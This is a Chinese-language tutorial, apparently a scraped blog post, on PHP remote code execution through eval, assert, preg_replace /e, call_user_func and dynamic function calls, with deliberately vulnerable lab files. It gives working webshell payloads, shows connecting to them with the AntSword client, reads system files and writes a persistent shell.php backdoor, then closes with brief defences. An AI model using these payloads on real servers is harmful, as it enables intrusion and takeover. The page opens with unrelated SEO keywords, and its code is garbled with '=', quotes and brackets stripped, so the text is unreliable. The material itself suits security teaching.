山西省建设厅招标网站,成品源码1988,一万并发量的视频网站建设,wordpress设置固定连接打不开漏洞原理RCE为两种漏洞的缩写#xff0c;分别为Remote Command/Code Execute#xff0c;远程命令/代码执行PHP代码注入也叫PHP代码执行(Code Execute)(Web方面)#xff0c;是指应用程序过滤不严#xff0c;用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)…漏洞原理RCE为两种漏洞的缩写分别为Remote Command/Code Execute远程命令/代码执行PHP代码注入也叫PHP代码执行(Code Execute)(Web方面)是指应用程序过滤不严用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)类似于SQL注入漏洞。SQLi是将SQL语句注入到数据库中执行而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤相当于直接有了一个Web后门(可以在服务器上执行任意命令)的存在。PHP代码注入与SQL注入区别双方的注入方式是类似的都是构造语句绕过服务器的过滤去执行。区别在于SQL注入是将语句注入到数据库中执行而PHP代码执行则是通过将代码注入到应用中最终由服务器运行造成PHP代码注入前提条件:程序中含有可以执行PHP代码的函数或者语言结构传入该函数或语言结构的参数是客户端可控可以直接修改或造成影响且应用程序过滤不严。漏洞危害Web应用如果存在代码执行漏洞时非常危险的这样的漏洞如果没有特殊的过滤相当于直接有一个WEB后门的存在。可以通过代码执行漏洞继承Web用户权限执行任意代码。如果服务器没有正确配置或Web用户权限比较高的话我们可以读写目标服务器任意文件内容甚至控制整个网站以及服务器。PHP中常见的代码执行函数和语句PHP中有很多函数和语句都会造成PHP代码执行漏洞。本文以PHP为例子来说明代码执行漏洞。● eval() 将字符串当作php 代码执行
● assert() 同样会作为PHP 代码执行
● preg_replace() 当php版本小于7时当为 /e 时代码会执行
● call_user_func() 回调函数可以使用is_callable查看是否可以进行调用
● call_user_fuc_array() 回调函数参数为数组
● create_function() 创建匿名函数
● array_map() 为数组的每个元素应用回调函数
● array_filter() 依次将 array 数组中的每个值传递到 callback函数。如果 callback 函数返回 true则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
● usort() 使用自定义函数对数组进行排序一句话木马就是利用的代码执行漏洞?php eval($_POST[cmd]);?eval()作用: eval()函数会将字符串作为PHP代码执行。该字符串必须是合法的 PHP 代码。eval函数自带输出功能不需要再使用echo进行输出。例子:?php
$strphpinfo();;
eval($str);
?在网站根目录下新建codei文件夹在该文件夹下新建文件eval.php并写入如上代码打开浏览器访问该文件网页显示如下我们如下修改代码网页显示如下?php
$strecho md5 (123456);;
eval($str);
?总结通过以上两个例子我们发现eval函数会将它的参数字符串按照PHP代码去执行Q:那么eval函数的漏洞体现在哪里呢?A:我们可以看到$str中的str是一个动态的变量那如果这个动态的变量$str客户端可控客户端可控意思就是客户端用户通过一些特殊的方法这些方法可能是正常的业务也可能是一些比较不正常的做法然后造成$str客户端可控。简单来说客户端可控就是用户的操作会影响到$str的值。那么我们修改一下代码让$str可控代码如下其中的全局变量$_GET也可以是$_REQUEST等其他预定义超全局数组变量(预定义超全局数组作用:包含了GET参数POST参数还有COOKIE参数也就是说get方式post方式还有cookie方式传递过来的参数这些数组都能接收到)。?php
$str$_GET[code];
eval($str);
?此时我们再打开浏览器访问在浏览器中输入参数?codephpinfo();,(注意要有分号)网页显示如下综上我们发现客户端传递过来的phpinfo();这个参数赋值给$str的值然后$str的值又传到eval()函数当中最后造成PHP代码注入。测试代码:?php
if(isset($_REQUEST[code])){$str$_REQUEST[code];eval($str);
}
?我们接收到的post参数又传给eval()函数去执行也就是一句话木马通过浏览器访问上述函数所在网页时可以通过传递参数该code来执行PHP代码主要有以上几种:普通方式提交变量?codephpinfo();以语句块方式提交变量?code{phpinfo();}以多语句方式提交参数?code1;phpinfo();危害如果没有对该函数的参数进行有效准确过滤其参数将有可能被用户用于注入有害代码assert作用: assert()函数也会将字符串作为PHP代码执行。例子:?php
if(isset($_GET[code])){$str$_GET[code];assert($str);
}else{echo Please submit code!br ?codephpinfo();;
}
?在网站根目录下的codei文件夹中新建文件assert.php文件内容如上其中的全局变量$_GET还可以是$_REQUEST等其他预定义超全局变量。打开浏览器访问可以通过传递参数code来执行PHP代码主要有以下几种方式:普通方式提交变量?codephpinfo()或者?codephpinfo();(有无分号都可执行)tips:与eval()函数有别的是该函数不能执行传入语句块或多语句作为参数。preg_replace()作用:preg_replace()函数能对字符串进行正则处理。参数和返回值如下:mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit -1 [, int $count]])
#mixed表示函数的返回值可以为混合类型这段代码的含义是搜索$subject中匹配$pattern的部分以$replacement进行替换而当$pattern处即第一个参数存在e修饰符时$replacement的值会被当成PHP代码来执行。典型代码如下:?php
if (isset($_GET[code])){ //其中的全局变量\$_GET还可以是\$_REQUEST等其他预定义超全局变量。$code$_GET[code];preg_replace(/\[(.*)\]/e,\\1,$code);
}else{echo?code[phpinfo()];
}
?在网站根目录下的codei文件夹下新建文件preg_replace.php测试代码如上。代码中第一个参数/\[(.*)\]/e解析如下第二个参数\\1表示的是正则表达式第一次匹配的内容。① 在两个/间是要匹配的正则表达式②用两个\表示对中括号的转义也就是说要匹配的内容是中括号内的。③匹配的内容就是(.*)。其中点表示任意字符*表示任意多个。打开浏览器访问可以通过传递参数code来执行PHP代码主要有以下几种方式:普通方式提交变量?code[phpinfo();][]是由于preg_replace的第一个参数有分号以语句块方式提交变量?code{[phpinfo();]}以多语句方式提交参数?code1;[phpinfo();]call_user_func()call_user_func()等函数都有调用其他函数的功能其中的一个参数作为要调用的函数名那如果这个传入的函数名可控那就可以调用意外的函数来执行我们想要的代码也就是存在任意代码执行漏洞。以call_user_func($fun,$para)函数为例该函数的第一个参数作为回调函数后面的参数为回调函数的参数将$para这个参数传递给$fun这个函数去执行。测试代码如下:?php
if(isset($_GET[fun])){
$fun$_GET[fun];//assert
$para$_GET[para];//phpinfo()
call_user_func($fun,$para);//assert(phpinfo())
}else{echo?funassertamp;paraphpinfo();
}
?
#注意fun不可以取eval因为eval不是函数而是语言结构在网站根目录的codei文件夹下新建文件call_user_func.php文件内容如上打开浏览器访问可以通过传递参数code来执行PHP代码?funassertparaphpinfo()。需注意的是传入的第一个参数可以是assert()函数而不是eval。(因为eval在PHP当中是属于语言结构并不属于函数)动态函数$a($b)由于PHP的特性原因PHP函数支持直接由拼接的方式调用这直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法这种写法和使用call_user_func()的初衷一样用起来更加方便地调用函数但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下:?php
if(isset($_GET[a])){$a$_GET[a];$b$_GET[b];$a($b);
}else{echo?aassertamp;bphpinfo();
}
?在网站根目录下的codei文件夹下新建文件dths.php文件内容如上打开浏览器访问可以通过传递参数code来执行PHP代码?aassertbphpinfo()PHP代码执行漏洞的利用代码执行漏洞的利用方式有很多种以下简单列出几种。直接获取shell打开浏览器访问assert.php文件提交参数[?codeeval($_REQUEST[cmd]);]即可构成一句话木马密码为cmd。可以使用中国蚁剑连接。URL为http://127.0.0.1/codei/assert.php?codeeval($_REQUEST[cmd])启动中国蚁剑在界面空白处右键点击添加数据提交后可以看到页面多了一条内容双击可以看到靶机的相关信息。获取当前文件的绝对路径__FILE__是PHP预定义常量其含义为当前文件的路径。打开浏览器访问assert.php文件提交参数?codeprint(__FILE__);即可获取当前网页的绝对路径其他漏洞依次类推。读文件我们可以利用file_get_contents()函数读取服务器任意文件前提是知道目标文件路径和读取权限。读取服务器的hosts文件(为域名指定IP地址)打开浏览器访问assert.php文件其中传入参数?codevar_dump(file_get_contents(c:\windows\system32\drivers\etc\hosts));即可将目标文件内容显示在页面上。写文件我们可以利用file_get_contents()函数写入文件该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。前提是知道可写目录。打开浏览器访问assert.php文件其中传入参数为?codefile_put_contents($_REQUEST[1],$_REQUEST[2]);1shell.php2?php eval($_REQUEST[ant]);?。参数1值为shell.php参数2值为?php eval($_POST[ant]); ?表示在当前目录下创建文件shell.php文件内容为参数2的值并写入一个后门。继续打开浏览器访问shell.php文件网址为http://127.0.0.1/codei/shell.php打开中国蚁剑访问刚刚写入的后门文件按以下填写参数并点击添加。提交后可以看到页面多了一条内容双击可以看到靶机的相关信息可管理靶机PHP代码执行漏洞的防御 保证用户不能轻易接触 eval()函数 的参数或者用正则严格判断输入的数据格式字符串使用单引号包裹并在插入前进行 addslashes()对preg_replace()放弃使用e修饰符保证第二个参数中对于正则匹配出的对象用单引号包裹